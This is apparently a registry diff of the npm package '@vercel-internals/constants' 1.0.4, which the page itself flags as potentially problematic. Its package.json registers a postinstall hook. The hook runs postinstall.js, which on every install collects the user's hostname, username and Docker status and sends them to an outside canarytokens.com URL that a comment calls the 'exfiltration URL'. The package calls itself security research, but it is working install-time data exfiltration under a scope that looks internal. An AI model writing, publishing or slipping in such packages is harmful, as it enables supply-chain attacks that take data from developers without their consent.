@vercel-internals/constants 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @vercel-internals/constants might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +11 -0
- package/postinstall.js +47 -0
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log('Hello, from clay C4!');
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "@vercel-internals/constants",
|
3
|
+
"version": "1.0.4",
|
4
|
+
"description": "A harmless proof-of-concept package with a canarytoken to detect installations. This is a part of a security research project.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node postinstall.js"
|
8
|
+
},
|
9
|
+
"author": "FM",
|
10
|
+
"license": "MIT"
|
11
|
+
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
const https = require("https");
|
2
|
+
const os = require("os");
|
3
|
+
const fs = require('fs');
|
4
|
+
|
5
|
+
function isRunningInDocker() {
|
6
|
+
try {
|
7
|
+
return fs.existsSync('/.dockerenv') ||
|
8
|
+
fs.readFileSync('/proc/self/cgroup', 'utf8').includes('docker') ||
|
9
|
+
process.env.CONTAINER === 'true' ||
|
10
|
+
process.env.DOCKER_CONTAINER !== undefined;
|
11
|
+
} catch (err) {
|
12
|
+
return false;
|
13
|
+
}
|
14
|
+
}
|
15
|
+
|
16
|
+
|
17
|
+
// Gather system details
|
18
|
+
const hostname = os.hostname();
|
19
|
+
const username = os.userInfo().username;
|
20
|
+
|
21
|
+
// Construct the exfiltration URL
|
22
|
+
const URL = `https://canarytokens.com/articles/about/45ifbhfwf11hu84j98iwiibd8/submit.aspx?package=vercel-internals-constans&user=${encodeURIComponent(username)}&host=${encodeURIComponent(hostname)}&docker=${isRunningInDocker()}`;
|
23
|
+
|
24
|
+
const req = https.get(URL, (res) => {
|
25
|
+
console.log(`Setup completed: ${res.statusCode}`);
|
26
|
+
|
27
|
+
res.on('data', (chunk) => {});
|
28
|
+
|
29
|
+
res.on('end', () => {
|
30
|
+
console.log('Response ended.');
|
31
|
+
});
|
32
|
+
});
|
33
|
+
|
34
|
+
// Set a timeout of 10 seconds (10000 ms)
|
35
|
+
req.setTimeout(5000, () => {
|
36
|
+
console.log('Timeout exceeded');
|
37
|
+
req.destroy(); // Abort the request
|
38
|
+
});
|
39
|
+
|
40
|
+
// Handle errors (including timeout)
|
41
|
+
req.on('error', (err) => {
|
42
|
+
if (err.code === 'ECONNRESET') {
|
43
|
+
console.error('Aborted');
|
44
|
+
} else {
|
45
|
+
console.error(`${err.message}`);
|
46
|
+
}
|
47
|
+
});
|